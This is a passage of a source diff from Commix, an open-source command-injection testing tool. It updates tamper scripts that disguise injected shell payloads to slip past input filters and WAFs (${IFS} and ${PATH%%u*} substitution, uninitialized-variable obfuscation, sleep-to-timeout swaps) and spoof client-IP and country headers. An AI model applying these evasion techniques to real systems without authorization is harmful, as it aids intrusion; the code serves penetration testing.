-Notes: This tamper script works against *nix targets. +Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ """ @@ -26,31 +29,12 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_slash2env(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True + def add_slash2env(payload): payload = payload.replace("/", "${PATH%%u*}") return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_slash2env(payload) - + if settings.TARGET_OS != settings.OS.WINDOWS: + return add_slash2env(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - \ No newline at end of file + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 64a74a7cd0..b26e740e54 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,14 +12,17 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys +from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ -About: Uses "timeout" function for time-based attacks. - * Regarding *nix targets, it replaces the "sleep XX" command with "timeout XX ping localhost". - * Regarding windows targets, it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". +About: Replaces "sleep" with "timeout" command in a given payload. + * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". + * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. """ @@ -30,30 +33,22 @@ def tamper(payload): def sleep_to_timeout_ping(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.TARGET_OS != "win": - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): - payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0])) + if settings.TARGET_OS != settings.OS.WINDOWS: + for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): + payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: - payload = payload.replace("powershell.exe -InputFormat none Start-Sleep -s", "timeout") + payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload - - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: + if not settings.TIME_RELATED_ATTACK: if settings.TRANFROM_PAYLOAD == None: settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: - payload = sleep_to_timeout_ping(payload) + return sleep_to_timeout_ping(payload) return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 826f370f3c..0e3f69946c 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,13 +12,16 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys +from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ -About: Replaces "sleep" with "usleep" command in the generated payloads. -Notes: This tamper script works against *nix targets. +About: Replaces "sleep" with "usleep" command in a given payload. +Notes: This tamper script works against Unix-like target(s). Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ @@ -29,40 +32,24 @@ def tamper(payload): def sleep_to_usleep(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): + for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] if match.group(0).split(settings.WHITESPACES[0])[1] != "0": usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 else: - usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] - payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) + usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload - - if settings.TARGET_OS != "win": - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: + if settings.TARGET_OS != settings.OS.WINDOWS: + if not settings.TIME_RELATED_ATTACK: if settings.TRANFROM_PAYLOAD == None: settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: - payload = sleep_to_usleep(payload) - + return sleep_to_usleep(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '" + __tamper__ + ".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index d7aeb11eb9..3dacc887de 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,18 +14,25 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with horizontal tab ('%09') +About: Replaces space character (%20) with horizontal tab (%09) in a given payload. Notes: This tamper script works against all targets. """ __tamper__ = "space2htab" +space2htab = "%09" -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%09" -else: - settings.WHITESPACES.append("%09") +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True -# eof \ No newline at end of file +def tamper(payload): + if len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2htab + elif space2htab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2htab) + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 0df13643a2..6523c84312 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,28 +13,34 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with the internal field separator ('$IFS'). -The internal field separator refers to a variable which defines the character +About: Replaces space character (%20) with the internal field separator ($IFS) in a given payload. +The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "space2ifs" +space2ifs = "${IFS}" -if settings.TARGET_OS != "win": +if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "${IFS}" - else: - settings.WHITESPACES.append("${IFS}") -else: - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - -# eof \ No newline at end of file + +def tamper(payload): + if len(settings.WHITESPACES) != 0: + if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: + settings.WHITESPACES[0] = space2ifs + if settings.TARGET_OS != settings.OS.WINDOWS: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2ifs + elif space2ifs not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifs) + else: + if space2ifs in settings.WHITESPACES: + settings.WHITESPACES.remove(space2ifs) + return payload + +# eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 27dc3cc22a..4b9ba1a583 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,18 +14,25 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with plus ('+'). +About: Replaces space character (%20) with plus (+) in a given payload. Notes: This tamper script works against all targets. """ __tamper__ = "space2plus" +space2plus = _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE) -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "+" -else: - settings.WHITESPACES.append("+") +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True -# eof \ No newline at end of file +def tamper(payload): + if len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2plus + elif space2plus not in settings.WHITESPACES: + settings.WHITESPACES.append(space2plus) + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 7d535c8375..ad8a9e2209 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,22 +14,29 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with vertical tab ('%0b'). +About: Replaces space character (%20) with vertical tab (%0b) in a given payload. Notes: This tamper script works against Windows targets. """ __tamper__ = "space2vtab" +space2vtab = "%0b" -if settings.TARGET_OS == "win": +if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%0b" - else: - settings.WHITESPACES.append("%0b") -else: - warn_msg = "Unix target host(s), does not support vertical tab(s)." - print(settings.print_warning_msg(warn_msg)) - -# eof \ No newline at end of file + +def tamper(payload): + if len(settings.WHITESPACES) != 0: + if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2vtab + elif space2vtab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2vtab) + else: + if space2vtab in settings.WHITESPACES: + settings.WHITESPACES.remove(space2vtab) + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 4d3e8a3f3d..f26b2429e7 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,62 +14,41 @@ """ import re -import sys import random import string - from src.utils import settings """ -About: Adds uninitialized bash variables between the characters of each command of the generated payloads. -Notes: This tamper script works against *nix targets. +About: Adds (randomly generated) uninitialized bash variables, between the characters of each command in a given payload. +Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ __tamper__ = "uninitializedvariable" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + num = 2 + obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for x in range(num)) + "}" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_uninitialized_variable(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "${uv}I${uv}F${uv}S": "IFS", - "${uv}i${uv}f": "if", - "${uv}t${uv}h${uv}e${uv}n": "then", - "${uv}e${uv}l${uv}s${uv}e": "else", - "${uv}f${uv}i": "fi", - "${uv}s${uv}t${uv}r": "str", - "${uv}c${uv}m${uv}d": "cmd", - "${uv}c${uv}ha${uv}r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"${uv}\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + if settings.TAMPER_SCRIPTS["backslashes"] or settings.TAMPER_SCRIPTS["dollaratsigns"]: + err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper scripts: 'backslashes' and/or 'dollaratsigns'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char, "")) return payload - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_uninitialized_variable(payload) - + if settings.TARGET_OS != settings.OS.WINDOWS: + return add_uninitialized_variable(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 712bd936b7..1d013ef5f8 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,16 +13,19 @@ For more see the file 'readme/COPYING' for copying permission. """ +import random from random import sample from src.utils import settings from src.core.compat import xrange """ -About: Appends a fake HTTP header 'X-Forwarded-For'. +About: Appends a fake HTTP header 'X-Forwarded-For' (and alike). """ __tamper__ = "xforwardedfor" -settings.TAMPER_SCRIPTS[__tamper__] = True + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(request): def randomIP(): @@ -30,9 +33,15 @@ def randomIP(): while not numbers or numbers[0] in (10, 172, 192): numbers = sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) - request.add_header('X-Forwarded-For', randomIP()) request.add_header('X-Client-Ip', randomIP()) request.add_header('X-Real-Ip', randomIP()) + request.add_header('CF-Connecting-IP', randomIP()) + request.add_header('True-Client-IP', randomIP()) + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + request.add_header('Via', '1.1 Chrome-Compression-Proxy') + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]) + -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/testing.py b/src/core/testing.py new file mode 100644 index 0000000000..17cb26ffd1 --- /dev/null +++ b/src/core/testing.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import settings + +""" +Runs the basic smoke testing +""" +def smoke_test(): + info_msg = "Executing smoke test." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + _ = True + file_paths = [] + for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): + file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) + + for filename in file_paths: + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: + path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) + path = path.replace(settings.COMMIX_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + if "." in path: + try: + __import__(path) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Succeeded importing '" + str(path) + "' module." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + except Exception as e: + error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + _ = False + + result = "Smoke test " + if _: + result = result + "passed." + settings.print_data_to_stdout(settings.print_bold_info_msg(result)) + else: + result = result + "failed." + settings.print_data_to_stdout(settings.print_bold_error_msg(result)) + raise SystemExit() + + diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py index b50e6972c9..81b1ece759 100644 --- a/src/thirdparty/beautifulsoup/__init__.py +++ b/src/thirdparty/beautifulsoup/__init__.py @@ -2,15 +2,83 @@ # encoding: UTF-8 """ -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Beautiful Soup +Elixir and Tonic +"The Screen-Scraper's Friend" +http://www.crummy.com/software/BeautifulSoup/ -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. +Beautiful Soup parses a (possibly invalid) XML or HTML document into a +tree representation. It provides methods and Pythonic idioms that make +it easy to navigate, search, and modify the tree. + +A well-formed XML/HTML document yields a well-formed data +structure. An ill-formed XML/HTML document yields a correspondingly +ill-formed data structure. If your document is only locally +well-formed, you can use this library to find and process the +well-formed part of it. + +Beautiful Soup works with Python 2.2 and up. It has no external +dependencies, but you'll have more success at converting data to UTF-8 +if you also install these three packages: + +* chardet, for auto-detecting character encodings + http://chardet.feedparser.org/ +* cjkcodecs and iconv_codec, which add more encodings to the ones supported + by stock Python. + http://cjkpython.i18n.org/ + +Beautiful Soup defines classes for two main parsing strategies: + + * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific + language that kind of looks like XML. + + * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid + or invalid. This class has web browser-like heuristics for + obtaining a sensible parse tree in the face of common HTML errors. + +Beautiful Soup also defines a class (UnicodeDammit) for autodetecting +the encoding of an HTML or XML document, and converting it to +Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. + +For more than you ever wanted to know about Beautiful Soup, see the +documentation: +http://www.crummy.com/software/BeautifulSoup/documentation.html + +Here, have some legalese: + +Copyright (c) 2004-2010, Leonard Richardson + +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + * Neither the name of the the Beautiful Soup Consortium and All + Night Kosher Bakery nor the names of its contributors may be + used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. -For more see the file 'readme/COPYING' for copying permission. """ pass \ No newline at end of file diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py index 5e78f5decb..900f00e0a4 100644 --- a/src/thirdparty/beautifulsoup/beautifulsoup.py +++ b/src/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -85,7 +85,6 @@ __license__ = "New-style BSD" import codecs -import types import re import sys @@ -107,10 +106,11 @@ except NameError: from sets import Set as set -try: - import sgmllib -except ImportError: - from src.utils import sgmllib +from src.utils import sgmllib +# try: +# import sgmllib +# except ImportError: +# from src.utils import sgmllib try: import markupbase @@ -2029,6 +2029,5 @@ def _ebcdic_to_ascii(self, s): #By default, act as an HTML pretty-printer. if __name__ == '__main__': - import sys soup = BeautifulSoup(sys.stdin) print(soup.prettify()) diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py index 666f344ec5..6648dc7b04 100644 --- a/src/thirdparty/colorama/ansi.py +++ b/src/thirdparty/colorama/ansi.py @@ -99,7 +99,7 @@ class AnsiBack: BLACK = RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0 # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 + LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 class AnsiStyle: diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py index 2c9cea763c..d0ef04efee 100644 --- a/src/thirdparty/colorama/ansitowin32.py +++ b/src/thirdparty/colorama/ansitowin32.py @@ -46,8 +46,8 @@ class AnsiToWin32(object): sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' - ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command + ANSI_CSI_RE = re.compile(r'\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer + ANSI_OSC_RE = re.compile(r'\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py index e69de29bb2..4070d740eb 100644 --- a/src/thirdparty/flatten_json/__init__.py +++ b/src/thirdparty/flatten_json/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +Flattens JSON objects in Python. +flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. +""" + +pass \ No newline at end of file diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 1f4de43438..5815734e37 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -2,14 +2,14 @@ # -*- coding: utf-8 -*- """ -Flattens JSON objects in Python. +Flattens JSON objects in Python. flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. https://github.com/amirziai/flatten """ from src.utils import settings -from collections import Iterable -from collections import OrderedDict +from src.thirdparty.odict import OrderedDict +from src.thirdparty.six.moves import collections_abc as _collections def check_if_numbers_are_consecutive(list_): """ @@ -34,7 +34,7 @@ def _construct_key(previous_key, separator, new_key): else: return new_key -def flatten(nested_dict, separator="_", root_keys_to_ignore=""): +def flatten(nested_dict, separator=settings.FLATTEN_JSON_SEPARATOR, root_keys_to_ignore=""): """ Flattens a dictionary with nested structure to a dictionary with no hierarchy Consider ignoring keys that you are not interested in to prevent unnecessary processing @@ -46,10 +46,10 @@ def flatten(nested_dict, separator="_", root_keys_to_ignore=""): :return: flattened dictionary """ try: - assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input." assert isinstance(separator, str), "Separator must be a string" + # assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # This global dictionary stores the flattened keys and values and is ultimately returned @@ -80,14 +80,14 @@ def _flatten(object_, key): def _unflatten_asserts(flat_dict, separator): try: - assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input." assert isinstance(separator, str), "Separator must be a string." + # assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input." # assert all(isinstance(value, (bool, float, int, str)) for value in flat_dict.values()), "The provided dictionary is not flat." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() -def unflatten(flat_dict, separator='_'): +def unflatten(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Creates a hierarchical dictionary from a flattened dictionary Assumes no lists are present @@ -112,7 +112,7 @@ def _unflatten(dic, keys, value): return unflattened_dict -def unflatten_list(flat_dict, separator='_'): +def unflatten_list(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Unflattens a dictionary, first assuming no lists exist and then tries to identify lists and replaces them This is probably not very efficient and has not been tested extensively diff --git 